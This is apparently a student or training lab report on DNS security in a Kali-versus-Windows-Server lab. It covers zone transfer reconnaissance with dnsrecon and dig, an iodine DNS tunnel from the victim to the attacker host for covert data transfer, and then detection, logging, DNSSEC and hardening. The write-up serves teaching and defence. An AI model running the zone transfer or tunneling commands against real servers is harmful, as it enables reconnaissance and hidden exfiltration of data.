DNS Security Practical Lab Report

Lab Environment

- Attacker Machine (Kali Linux): 192.168.205.200
- Victim Machine (Windows Server DNS): 192.168.205.128
- DNS Zone: wipro.local

1. DNS Zone Transfer Attack

On Windows Server:

- Open DNS Manager -> Enable Zone Transfers for 'wipro.local'

On Kali (Attacker):

- Run: dnsrecon -d wipro.local -t axfr -n 192.168.205.128
- Or: dig @192.168.205.128 wipro.local AXFR

Observe if DNS records are leaked.

2. Detect Zone Transfer via Wireshark

On Windows Server:

- Open Wireshark -> Start capture on Ethernet
- Filter: ip.addr == 192.168.205.200 and dns

Look for AXFR queries and DNS response packets.

3. Check DNS Logs

Via Event Viewer:

- Go to: Applications and Services Logs > Microsoft > Windows > DNS-Server > Audit

Via DNS Debug Logging:

- Enable in DNS Manager > Server Properties > Debug Logging tab
- Log file location: C:\Windows\System32\dns\dns.log
- Look for AXFR or suspicious DNS queries.

4. Configure DNSSEC on Windows Server

- In DNS Manager, right-click 'wipro.local', go to DNSSEC, and click 'Sign the Zone'
- Use default settings (RSA/SHA256)

From Kali, test with:

- dig wipro.local +dnssec @192.168.205.128

5. Perform DNS Tunneling

Install iodine on both machines.

On Kali:

- sudo iodined -f -c -P secretpassword 10.0.0.1 tunnel.wipro.local

On Windows Server:

- iodine.exe -f -P secretpassword 192.168.205.200 tunnel.wipro.local

Tunnel established for DNS-based data transfer.

6. Detect DNS Tunneling

In Wireshark:

- Filter: dns
- Look for long/random subdomain queries and high DNS traffic volume

In dns.log or Event Viewer:

- Repeated queries to tunnel.wipro.local or abnormal DNS traffic patterns

7. Hardening Recommendations

- Disable zone transfers unless needed
- Restrict DNS server access to trusted IPs
- Enable and monitor DNS debug logs
- Implement DNSSEC for critical zones